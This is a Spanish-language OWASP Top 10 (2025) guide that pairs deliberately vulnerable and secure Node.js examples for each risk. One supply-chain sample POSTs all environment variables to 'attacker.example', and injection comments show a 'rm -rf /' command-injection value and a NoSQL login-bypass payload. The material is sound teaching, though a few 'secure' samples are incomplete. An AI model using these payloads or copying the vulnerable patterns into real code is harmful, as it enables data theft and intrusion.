OWASP Top 10 para Aplicaciones Web

Una guía completa sobre las vulnerabilidades más críticas en aplicaciones web y cómo mitigarlas

¿Qué es OWASP?

El Open Web Application Security Project (OWASP) es una fundación sin fines de lucro que trabaja para mejorar la seguridad del software. Su lista Top 10 identifica los riesgos de seguridad más críticos para las aplicaciones web y APIs y similares.

¿Por qué es importante la seguridad web?

Las aplicaciones web son el objetivo principal de los ciberataques. Según la edición 2025 del OWASP Top 10 (publicada en enero de 2026), el 100% de las aplicaciones analizadas presentó alguna forma de Broken Access Control, que se mantiene como el riesgo #1. Además, esta edición incorpora dos categorías nuevas: fallas en la cadena de suministro de software y manejo inadecuado de condiciones excepcionales.

Los 10 Riesgos Principales

1

Broken Access Control

Vector de ataque

Manipulación de IDs, parámetros o tokens para acceder a recursos ajenos; bypass de controles aplicados solo en el cliente; abuso de CORS mal configurado. Desde la edición 2025, esta categoría también incluye el Server-Side Request Forgery (SSRF).

Debilidad

Falta de verificación de permisos en el servidor ('denegar por defecto'), controles de acceso que dependen únicamente del frontend, o ausencia de validación de URLs antes de que el propio servidor realice peticiones salientes.

Impacto

Acceso, modificación o eliminación no autorizada de datos y funciones de otros usuarios; en el caso de SSRF, escaneo de redes internas o acceso a servicios y metadata de la nube.

Estrategias de mitigación

  • Denegar por defecto todo acceso a recursos que no sean explícitamente públicos.
  • Verificar la propiedad (ownership) del recurso en cada solicitud, del lado del servidor.
  • No confiar en controles implementados solo en el frontend o en JavaScript.
  • Invalidar sesiones del lado del servidor al cerrar sesión y usar tokens JWT de corta duración.
  • Bloquear peticiones salientes del servidor hacia IPs privadas, localhost y endpoints de metadata de la nube (mitigación de SSRF).

Ejemplo de código vulnerable

// Código vulnerable

// GET /user/:id
app.get('/user/:id', (req, res) => {
  const userId = req.params.id;
  const user = db.getUserById(userId);
  if (!user) return res.status(404).send("User not found");

  // ❌ Devuelve cualquier usuario, sin validar si el solicitante tiene acceso
  res.json(user);
});

// Código seguro

// GET /user/:id
app.get('/user/:id', (req, res) => {
  const requestedId = parseInt(req.params.id);
  const authenticatedId = req.user.id;

  if (requestedId !== authenticatedId && req.user.role !== 'admin') {
    return res.status(403).send("Access denied");
  }

  const user = db.getUserById(requestedId);
  if (!user) return res.status(404).send("User not found");

  res.json(user);
});

// Código vulnerable

// Frontend (React o HTML/JS)
if (user.role === 'admin') {
  document.getElementById("adminPanel").style.display = "block";
}

// Backend sin verificación
app.get('/admin/data', (req, res) => {
  // ❌ No valida el rol del usuario
  res.send("Admin info: user list, settings...");
});

// Código seguro

app.get('/admin/data', (req, res) => {
  if (req.user.role !== 'admin') {
    return res.status(403).send("Forbidden");
  }

  res.send("Admin info: user list, settings...");
});

// Código vulnerable

// Genera una vista previa del link compartido por el usuario
app.post('/api/link-preview', async (req, res) => {
  const { url } = req.body;

  // ❌ SSRF: el servidor solicita cualquier URL, incluidas IPs internas
  // o el metadata service de la nube (169.254.169.254)
  const response = await fetch(url);
  const html = await response.text();
  res.send(extractPreview(html));
});

// Código seguro

const dns = require('dns').promises;

async function isBlockedHost(hostname) {
  const { address } = await dns.lookup(hostname);
  return /^(127\.|10\.|169\.254\.|172\.(1[6-9]|2\d|3[0-1])\.|192\.168\.)/.test(address);
}

app.post('/api/link-preview', async (req, res) => {
  const { url } = req.body;

  try {
    const { hostname, protocol } = new URL(url);

    if (protocol !== 'https:' || await isBlockedHost(hostname)) {
      return res.status(403).send('URL no permitida');
    }

    const response = await fetch(url); // ✅ solo hosts públicos y https
    const html = await response.text();
    res.send(extractPreview(html));
  } catch {
    res.status(400).send('URL inválida');
  }
});
2

Security Misconfiguration

Vector de ataque

Explotación de sistemas mal configurados, incompletos o con configuraciones por defecto.

Debilidad

Configuraciones de seguridad incorrectas, servicios innecesarios habilitados, permisos incorrectos, secretos embebidos en el código, etc.

Impacto

Acceso no autorizado a datos o funcionalidades del sistema, hasta compromiso completo del servidor.

Estrategias de mitigación

  • Implementar un proceso de endurecimiento de seguridad para todos los entornos.
  • Eliminar o no instalar características, componentes o servicios no utilizados.
  • Revisar y actualizar configuraciones como parte del proceso de gestión de parches.
  • Implementar una arquitectura de segmentación con separación entre componentes.
  • Enviar directivas de seguridad a los clientes (headers de seguridad).
  • Usar credenciales de corta duración y federación de identidad en vez de secretos estáticos embebidos.

Ejemplo de configuración segura

// Código vulnerable

// Express sin ningún header de seguridad
const express = require('express');
const app = express();

app.get('/', (req, res) => {
  res.send("Hello world");
});

app.listen(3000);

// Código seguro

// Express usando helmet para agregar headers seguros
const express = require('express');
const helmet = require('helmet');

const app = express();
app.use(helmet()); // ✅ Activa varios headers de seguridad

app.get('/', (req, res) => {
  res.send("Hello world");
});

app.listen(3000);

// Código vulnerable

// Express con stack traces en producción
app.use((err, req, res, next) => {
  // ❌ Devuelve detalles del error al cliente
  res.status(500).send(err.stack);
});

// Código seguro

// Manejo de errores controlado
app.use((err, req, res, next) => {
  // ✅ No revela información sensible en producción
  console.error(err); // log interno
  res.status(500).send("Something went wrong");
});

// Código vulnerable

// Rutas administrativas sin protección
app.use('/admin', require('./adminRoutes'));

// adminRoutes.js
router.get('/dashboard', (req, res) => {
  res.send("Admin Panel");
});

// ⚠️ Si un atacante descubre /admin, puede acceder libremente.

// Código seguro

// Middleware de autenticación para rutas de admin
function isAdmin(req, res, next) {
  if (req.user && req.user.role === 'admin') return next();
  return res.status(403).send("Forbidden");
}

app.use('/admin', isAdmin, require('./adminRoutes'));
3

Software Supply Chain Failures

Vector de ataque

Compromiso de dependencias, paquetes, imágenes base o herramientas del pipeline de CI/CD; typosquatting de paquetes; scripts maliciosos ejecutados durante la instalación.

Debilidad

Confianza ciega en fuentes de terceros (registries, CDNs, imágenes Docker) sin verificar su integridad, y pipelines de CI/CD sin control de acceso ni revisión de cambios.

Impacto

Ejecución de código malicioso a gran escala, robo de credenciales o fondos, y compromiso de todos los sistemas que consumen el componente afectado — como ocurrió con SolarWinds (2019) o Log4Shell (2021).

Estrategias de mitigación

  • Generar y mantener un SBOM (Software Bill of Materials) del software.
  • Obtener dependencias solo desde fuentes oficiales y verificar checksums o firmas.
  • Aplicar actualizaciones de forma escalonada (staged rollouts) en vez de a todos los sistemas a la vez.
  • Exigir MFA y control de accesos (IAM) en repositorios, editores y servidores de build.
  • Separar responsabilidades: ningún cambio debe llegar a producción sin revisión de otra persona.

Ejemplo de gestión de la cadena de suministro

// Código vulnerable

{
  "dependencies": {
    "left-pad": "^1.3.0"
  }
}

// ❌ El rango "^" permite instalar automáticamente versiones nuevas
// no revisadas, y "npm install" puede ignorar el lockfile

// Código seguro

{
  "dependencies": {
    "left-pad": "1.3.0"
  }
}

// ✅ Versión exacta fijada en package-lock.json
// En CI/CD usar "npm ci" (respeta el lockfile al pie de la letra)
// y correr "npm audit" antes de publicar

// Código vulnerable

// package.json de una dependencia de terceros
{
  "name": "some-utility",
  "scripts": {
    "postinstall": "node ./setup.js" // ⚠️ Se ejecuta automáticamente al instalar
  }
}

// setup.js podría exfiltrar variables de entorno sin que nadie lo note
fetch('https://attacker.example/collect', {
  method: 'POST',
  body: JSON.stringify(process.env)
});

// Código seguro

// .npmrc
ignore-scripts=true

// ✅ Deshabilita scripts de instalación automáticos por defecto.
// Habilitarlos solo para paquetes puntuales tras revisar qué hacen,
// o usar herramientas como "npm audit signatures" para detectar
// comportamiento sospechoso antes de instalar.

// Código vulnerable

# Imagen base sin fijar (el contenido puede cambiar entre builds)
# y sin escaneo de vulnerabilidades
FROM node:18

WORKDIR /app
COPY . .
RUN npm install
CMD ["node", "server.js"]

// Código seguro

# Imagen fijada por digest (inmutable) y basada en una versión mínima
FROM node:18-alpine@sha256:2f3f8c4c1b1a9e6d0d9f6f6a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c

WORKDIR /app
COPY . .
RUN npm ci
CMD ["node", "server.js"]

# ✅ En el pipeline de CI: escanear la imagen con Trivy, Docker Scout o Grype
4

Cryptographic Failures

Vector de ataque

Explotación de fallos en la implementación de cifrado o ausencia del mismo para acceder a datos sensibles.

Debilidad

Datos sensibles transmitidos o almacenados sin cifrado adecuado, uso de algoritmos obsoletos (MD5, SHA1, DES) o claves débiles.

Impacto

Exposición de información sensible como credenciales, datos personales, tarjetas de crédito o información médica.

Estrategias de mitigación

  • Clasificar los datos procesados, almacenados o transmitidos por la aplicación.
  • Cifrar todos los datos sensibles en reposo y en tránsito.
  • Utilizar algoritmos de cifrado fuertes y actualizados; eliminar MD5, SHA1 y modo CBC.
  • Almacenar contraseñas usando funciones de hashing seguras (Argon2, scrypt, PBKDF2).
  • Exigir TLS 1.2+ con forward secrecy y HSTS; deshabilitar el caché de respuestas con datos sensibles.

Ejemplo de código vulnerable

// Código vulnerable

// Registro de usuario (guarda la contraseña en texto plano)
app.post('/register', (req, res) => {
  const { username, password } = req.body;

  // ❌ ¡Contraseña almacenada directamente!
  db.saveUser({ username, password });

  res.send("User registered");
});

// Código seguro

const bcrypt = require('bcrypt');

// Registro de usuario con hash
app.post('/register', async (req, res) => {
  const { username, password } = req.body;

  const hashedPassword = await bcrypt.hash(password, 10);
  db.saveUser({ username, password: hashedPassword });

  res.send("User registered securely");
});

// Código vulnerable

const crypto = require('crypto');

// Cifrado usando algoritmo obsoleto (DES)
function encrypt(text) {
  const cipher = crypto.createCipher('des', 'secret-key');
  let encrypted = cipher.update(text, 'utf8', 'hex');
  encrypted += cipher.final('hex');
  return encrypted;
}

// Código seguro

const crypto = require('crypto');

// Cifrado fuerte usando AES-256-GCM
function encrypt(text, key, iv) {
  const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);
  const encrypted = Buffer.concat([cipher.update(text, 'utf8'), cipher.final()]);
  const tag = cipher.getAuthTag();
  return { encrypted, iv, tag };
}

// Código vulnerable

const jwt = require('jsonwebtoken');

// Verifica el token pero acepta cualquier algoritmo
function verifyToken(token) {
  // ❌ No especifica algoritmo, acepta "none"
  return jwt.verify(token, 'secret');
}

// Código seguro

const jwt = require('jsonwebtoken');

// Verifica el token especificando algoritmo seguro
function verifyToken(token) {
  return jwt.verify(token, 'secret', { algorithms: ['HS256'] });
}
5

Injection

Vector de ataque

Envío de datos hostiles a un intérprete como parte de un comando o consulta.

Debilidad

Falta de validación, sanitización o parametrización de entradas del usuario en consultas SQL, comandos OS, XML, etc.

Impacto

Pérdida o corrupción de datos, divulgación de información sensible, denegación de acceso o incluso control completo del servidor.

Estrategias de mitigación

  • Usar consultas parametrizadas o preparadas.
  • Validar todas las entradas del lado del servidor.
  • Utilizar ORM (Object Relational Mapping) con parámetros vinculados.
  • Implementar listas blancas para validación de entradas.
  • Limitar los privilegios de las cuentas de base de datos utilizadas por las aplicaciones.

Ejemplo de código vulnerable

// Código vulnerable

// GET /user?username=admin
app.get('/user', (req, res) => {
  const username = req.query.username;

  // ❌ Consulta construida con interpolación directa
  const query = `SELECT * FROM users WHERE username = '${username}'`;
  db.query(query, (err, results) => {
    res.json(results);
  });
});

// Código seguro

// ✅ Consulta parametrizada
app.get('/user', (req, res) => {
  const username = req.query.username;

  const query = `SELECT * FROM users WHERE username = ?`;
  db.query(query, [username], (err, results) => {
    res.json(results);
  });
});

// Código vulnerable

const { exec } = require('child_process');

// Ejecuta ping a un host ingresado por el usuario
app.get('/ping', (req, res) => {
  const host = req.query.host;

  // ❌ Vulnerable a command injection (ej: ?host=google.com;rm -rf /)
  exec(`ping -c 1 ${host}`, (err, stdout, stderr) => {
    res.send(stdout || stderr);
  });
});

// Código seguro

const { spawn } = require('child_process');

// Usa spawn con argumentos separados y validación
app.get('/ping', (req, res) => {
  const host = req.query.host;

  if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
    return res.status(400).send("Invalid host");
  }

  const ping = spawn('ping', ['-c', '1', host]);

  let output = '';
  ping.stdout.on('data', (data) => output += data);
  ping.on('close', () => res.send(output));
});

// Código vulnerable

// MongoDB - inicio de sesión
app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  // ❌ Un atacante puede enviar: { "username": { "$ne": null }, "password": { "$ne": null } }
  const user = await db.collection('users').findOne({ username, password });

  if (!user) return res.status(401).send("Invalid credentials");
  res.send("Welcome!");
});

// Código seguro

app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  if (typeof username !== 'string' || typeof password !== 'string') {
    return res.status(400).send("Invalid input");
  }

  const user = await db.collection('users').findOne({ username, password });

  if (!user) return res.status(401).send("Invalid credentials");
  res.send("Welcome!");
});
6

Insecure Design

Vector de ataque

Explotación de fallos en el diseño y la arquitectura de seguridad de la aplicación.

Debilidad

Ausencia de controles de seguridad desde la fase de diseño, falta de modelado de amenazas o diseño que no considera casos de abuso.

Impacto

Amplia gama de vulnerabilidades que pueden afectar todo el sistema, desde pérdida de datos hasta compromiso completo.

Estrategias de mitigación

  • Establecer un ciclo de vida de desarrollo seguro (SDLC).
  • Utilizar bibliotecas y herramientas seguras por diseño.
  • Modelar amenazas para flujos críticos en la aplicación.
  • Integrar consideraciones de seguridad en historias de usuario y casos de prueba.
  • Implementar límites de recursos y controles a nivel de arquitectura.

Ejemplo de diseño inseguro

// Código vulnerable

// Frontend (HTML o React)
<button id="transferButton">Transferir $100</button>

// Backend (acepta cualquier monto)
app.post('/transfer', (req, res) => {
  const { toUserId, amount } = req.body;

  // ❌ No se valida si el usuario tiene saldo suficiente
  db.transfer(req.user.id, toUserId, amount);
  res.send("Transfer completed");
});

// Código seguro

app.post('/transfer', async (req, res) => {
  const { toUserId, amount } = req.body;
  const balance = await db.getUserBalance(req.user.id);

  if (amount > balance) {
    return res.status(400).send("Insufficient funds");
  }

  await db.transfer(req.user.id, toUserId, amount);
  res.send("Transfer completed");
});

// Código vulnerable

// El usuario puede modificar productos desde el frontend
// PATCH /product/:id
app.patch('/product/:id', async (req, res) => {
  const productId = req.params.id;

  // ❌ No valida si el usuario es el dueño o tiene permisos
  await db.updateProduct(productId, req.body);
  res.send("Product updated");
});

// Código seguro

app.patch('/product/:id', async (req, res) => {
  const productId = req.params.id;
  const product = await db.getProductById(productId);

  if (!product || product.ownerId !== req.user.id) {
    return res.status(403).send("Forbidden");
  }

  await db.updateProduct(productId, req.body);
  res.send("Product updated");
});

// Código vulnerable

// Recuperación de contraseña por pregunta secreta
app.post('/recover', async (req, res) => {
  const { username, answer } = req.body;
  const user = await db.findUserByUsername(username);

  // ❌ Usa una pregunta predecible, sin límite de intentos
  if (user.securityAnswer === answer) {
    res.send(`Tu contraseña es: ${user.password}`);
  } else {
    res.status(401).send("Incorrect answer");
  }
});

// Código seguro

// Envío de link de recuperación temporal con token
app.post('/recover', async (req, res) => {
  const { email } = req.body;
  const user = await db.findUserByEmail(email);
  if (!user) return res.send("If this email exists, a link was sent");

  const token = generateSecureToken(); // con expiración
  await db.saveRecoveryToken(user.id, token);

  await sendEmail(email, `Recover your account: https://app.com/reset?token=${token}`);
  res.send("If this email exists, a link was sent");
});
7

Authentication Failures

Vector de ataque

Explotación de fallos en la autenticación para asumir la identidad de otros usuarios, incluyendo credential stuffing y password spraying.

Debilidad

Implementación incorrecta de la autenticación, permitiendo ataques de fuerza bruta, reutilización de credenciales, o gestión de sesiones débil.

Impacto

Compromiso de cuentas de usuario, desde usuarios normales hasta administradores, permitiendo robo de identidad.

Estrategias de mitigación

  • Implementar autenticación multifactor cuando sea posible.
  • No desplegar con credenciales por defecto.
  • Validar nuevas contraseñas contra listas de contraseñas filtradas (ej. haveibeenpwned.com).
  • Implementar retrasos progresivos ante intentos fallidos, evitando habilitar un DoS.
  • Utilizar un gestor de sesiones seguro del lado del servidor, con IDs de sesión de alta entropía.

Ejemplo de autenticación segura

// Código vulnerable

// Ruta de login sin protección contra fuerza bruta
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const user = await db.findUser(username);

  if (user && user.password === password) {
    return res.send("Login successful");
  }

  res.status(401).send("Invalid credentials");
});

// Código seguro

// Ruta protegida con limitador de intentos (usando express-rate-limit)
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutos
  max: 5, // máximo 5 intentos
  message: "Too many login attempts, please try again later"
});

app.post('/login', loginLimiter, async (req, res) => {
  // lógica de login
});

// Código vulnerable

// Guardar contraseña sin hash (inseguro)
app.post('/register', async (req, res) => {
  const { username, password } = req.body;
  await db.createUser({ username, password }); // ❌ texto plano
  res.send("User created");
});

// Código seguro

// Usar bcrypt para hash de contraseñas
const bcrypt = require('bcrypt');

app.post('/register', async (req, res) => {
  const { username, password } = req.body;
  const hash = await bcrypt.hash(password, 12); // ✅ hash seguro
  await db.createUser({ username, password: hash });
  res.send("User created");
});

// Código vulnerable

// Crea un token simple y persistente
app.post('/login', async (req, res) => {
  const { username } = req.body;
  const token = Buffer.from(username).toString('base64'); // ❌ predecible
  res.cookie('session', token);
  res.send("Logged in");
});

// Código seguro

// Usar JWT firmado, con expiración
const jwt = require('jsonwebtoken');
const SECRET = process.env.JWT_SECRET;

app.post('/login', async (req, res) => {
  const { username } = req.body;
  const token = jwt.sign({ username }, SECRET, { expiresIn: '1h' }); // ✅ seguro
  res.cookie('token', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict'
  });
  res.send("Logged in");
});
8

Software or Data Integrity Failures

Vector de ataque

Explotación de fallos en la verificación de integridad de software y datos.

Debilidad

Falta de verificación de integridad de software y datos, permitiendo actualizaciones no verificadas, manipulación de datos o deserialización insegura.

Impacto

Desde pérdida de integridad de datos hasta ejecución de código malicioso en servidores o clientes.

Estrategias de mitigación

  • Utilizar firmas digitales para verificar la integridad de software.
  • Asegurar que las dependencias se obtienen de repositorios confiables.
  • Implementar revisión de código y aprobaciones múltiples para cambios.
  • Asegurar que CI/CD tiene una adecuada segregación, configuración y control de acceso.
  • Rechazar datos serializados sin firmar o sin cifrar provenientes de clientes no confiables.

Ejemplo de verificación de integridad

// Código vulnerable

<!-- Script externo sin verificación de integridad -->
<script src="https://cdn.example.com/library.js"></script>

// Código seguro

<!-- Script con hash de integridad y CORS -->
<script 
  src="https://cdn.example.com/library.js"
  integrity="sha384-AbCd123..." 
  crossorigin="anonymous">
</script>

// Código vulnerable

// Descarga de código externo sin verificar fuente o firma
const https = require('https');
https.get("https://updates.example.com/update.js", res => {
  res.pipe(fs.createWriteStream("update.js"));
});

// Código seguro

// Verifica firma digital del archivo descargado
const crypto = require('crypto');
const fs = require('fs');

// Simulación: hashear y verificar la firma antes de usar
const expectedHash = "abcdef1234567890...";
const fileBuffer = fs.readFileSync("update.js");
const hash = crypto.createHash('sha256').update(fileBuffer).digest('hex');

if (hash === expectedHash) {
  require('./update.js'); // ✅ solo si la integridad es válida
} else {
  console.error("Update file is invalid or has been tampered with.");
}

// Código vulnerable

// Deserializa el estado de sesión enviado por el cliente sin validarlo
const { deserialize } = require('node-serialize');

app.post('/api/restore-session', (req, res) => {
  const { sessionData } = req.body;

  // ❌ node-serialize puede ejecutar código embebido en el objeto serializado
  const session = deserialize(sessionData);
  req.session = session;
  res.send("Session restored");
});

// Código seguro

// Usa un formato de datos seguro (JSON) en vez de serialización de objetos nativos
app.post('/api/restore-session', (req, res) => {
  const { sessionData } = req.body;

  try {
    const session = JSON.parse(sessionData); // ✅ JSON no permite ejecutar código

    if (typeof session.userId !== 'number') {
      return res.status(400).send("Invalid session data");
    }

    req.session = session;
    res.send("Session restored");
  } catch {
    res.status(400).send("Malformed session data");
  }
});
9

Security Logging and Alerting Failures

Vector de ataque

Explotación de la falta de detección y respuesta a brechas de seguridad.

Debilidad

Registros insuficientes o inconsistentes, falta de monitoreo, o ausencia de umbrales de alerta que permitan detectar actividad sospechosa a tiempo.

Impacto

Incapacidad para detectar, responder o recuperarse de brechas activas, permitiendo ataques prolongados durante meses o años sin ser notados.

Estrategias de mitigación

  • Registrar todos los eventos de seguridad relevantes: login, fallos de autenticación, controles de acceso, transacciones de alto valor.
  • Asegurar que los registros incluyan suficiente contexto para análisis forense.
  • Establecer umbrales de alerta y playbooks de respuesta para actividades sospechosas.
  • Codificar correctamente los datos en los logs para evitar inyecciones sobre el propio sistema de logging.
  • Crear un plan de respuesta a incidentes y recuperación (ej. NIST 800-61r2).

Ejemplo de logging y alerting seguro

// Código vulnerable

app.post('/login', async (req, res) => {
  const user = await db.findUser(req.body.username);
  if (!user || user.password !== req.body.password) {
    return res.status(401).send("Invalid credentials");
  }
  res.send("Logged in");
});

// Código seguro

const logger = require('./logger'); // supongamos que hay un logger configurado

app.post('/login', async (req, res) => {
  const user = await db.findUser(req.body.username);
  if (!user || user.password !== req.body.password) {
    logger.warn(`Failed login attempt for user: ${req.body.username}`);
    return res.status(401).send("Invalid credentials");
  }
  logger.info(`User ${req.body.username} logged in`);
  res.send("Logged in");
});

// Código vulnerable

// El sistema registra internamente errores críticos pero nadie los revisa
logger.error("Too many failed login attempts");

// Código seguro

// Umbral de alerta: dispara una notificación al superar N intentos fallidos
let failedAttempts = 0;

function onFailedLogin(ip) {
  failedAttempts++;
  logger.error("Too many failed login attempts");

  if (failedAttempts >= 5) {
    notifySecurityTeam("Multiple login failures detected from IP: " + ip);
    failedAttempts = 0;
  }
}

function notifySecurityTeam(message) {
  // Envía a Slack, SIEM, correo, etc.
  sendToMonitoringService({ level: "critical", message });
}

// Código vulnerable

// Logs escritos directamente en archivos sin control de acceso
fs.appendFileSync('app.log', `User ${username} failed login`);

// Código seguro

const winston = require('winston');
const fs = require('fs');

// Asegurarse de que los archivos tengan permisos restringidos
fs.chmodSync('secure.log', 0o600); // ✅ solo lectura/escritura para el dueño

const logger = winston.createLogger({
  level: 'info',
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'secure.log' })
  ]
});

logger.warn("Login attempt failed", {
  username: req.body.username,
  ip: req.ip,
  timestamp: new Date().toISOString()
});
10

Mishandling of Exceptional Conditions

Vector de ataque

Explotación de errores no manejados, validaciones tardías o incompletas, y transacciones que no se revierten correctamente ante fallos inesperados.

Debilidad

El programa no previene, detecta ni responde adecuadamente ante condiciones anómalas: falta de manejo de errores en el punto donde ocurren, fallos que 'abren' en vez de 'cerrar' el sistema, y ausencia de rollback en operaciones de varios pasos.

Impacto

Desde agotamiento de recursos (DoS) y filtración de información sensible en mensajes de error, hasta corrupción de transacciones financieras o condiciones de carrera explotables.

Estrategias de mitigación

  • Manejar las excepciones en el punto exacto donde ocurren, no solo con un handler global de alto nivel.
  • Fallar cerrado: ante un error a mitad de una transacción, revertir todos los pasos ya aplicados.
  • Aplicar rate limiting, cuotas y timeouts para evitar el agotamiento de recursos ante errores repetidos.
  • No exponer el detalle interno de errores al cliente; registrar el detalle solo en logs internos.
  • Incluir pruebas de estrés, carga y casos límite además de las pruebas funcionales habituales.

Ejemplo de manejo de condiciones excepcionales

// Código vulnerable

// Sube un archivo y lo procesa, pero no libera el recurso si algo falla
app.post('/upload', async (req, res) => {
  const stream = fs.createWriteStream(tempPath);

  try {
    await processUpload(req, stream);
    res.send("Upload complete");
  } catch (err) {
    // ❌ El stream nunca se cierra si processUpload falla, el descriptor queda abierto
    res.status(500).send("Upload failed");
  }
});

// Código seguro

app.post('/upload', async (req, res) => {
  const stream = fs.createWriteStream(tempPath);

  try {
    await processUpload(req, stream);
    res.send("Upload complete");
  } catch (err) {
    res.status(500).send("Upload failed");
  } finally {
    stream.close(); // ✅ Libera el recurso sin importar el resultado
  }
});

// Código vulnerable

app.get('/api/orders/:id', async (req, res) => {
  try {
    const order = await db.query(`SELECT * FROM orders WHERE id = ${req.params.id}`);
    res.json(order);
  } catch (err) {
    // ❌ Expone el error completo del motor de base de datos al cliente
    res.status(500).json({ error: err.message, query: err.sql });
  }
});

// Código seguro

app.get('/api/orders/:id', async (req, res) => {
  try {
    const order = await db.query('SELECT * FROM orders WHERE id = ?', [req.params.id]);
    res.json(order);
  } catch (err) {
    logger.error(err); // ✅ El detalle queda solo en el log interno
    res.status(500).json({ error: "No se pudo procesar la solicitud" });
  }
});

// Código vulnerable

// Transferencia en varios pasos, sin transacción atómica
app.post('/transfer', async (req, res) => {
  const { toAccount, amount } = req.body;

  await db.debit(req.user.accountId, amount);
  // ❌ Si el proceso se interrumpe acá (caída de red, excepción), el dinero
  // ya se debitó pero nunca se acredita ni se revierte
  await db.credit(toAccount, amount);
  await db.logTransaction(req.user.accountId, toAccount, amount);

  res.send("Transfer completed");
});

// Código seguro

// Transacción atómica: todo o nada
app.post('/transfer', async (req, res) => {
  const { toAccount, amount } = req.body;

  const tx = await db.beginTransaction();
  try {
    await tx.debit(req.user.accountId, amount);
    await tx.credit(toAccount, amount);
    await tx.logTransaction(req.user.accountId, toAccount, amount);
    await tx.commit(); // ✅ Se confirma solo si todos los pasos fueron exitosos
    res.send("Transfer completed");
  } catch (err) {
    await tx.rollback(); // ✅ Revierte todo ante cualquier fallo
    logger.error(err);
    res.status(500).send("Transfer failed, no changes were made");
  }
});

Estadísticas de Seguridad Web

100%

de las aplicaciones analizadas presentó alguna forma de Broken Access Control, que se mantiene como el riesgo #1

#2

puesto que alcanzó Security Misconfiguration en 2025, tras subir desde el puesto #5 que ocupaba en 2021

50%

de la comunidad de seguridad señaló a las fallas en la cadena de suministro de software (nueva categoría) como su principal preocupación

Fuente: OWASP Top 10:2025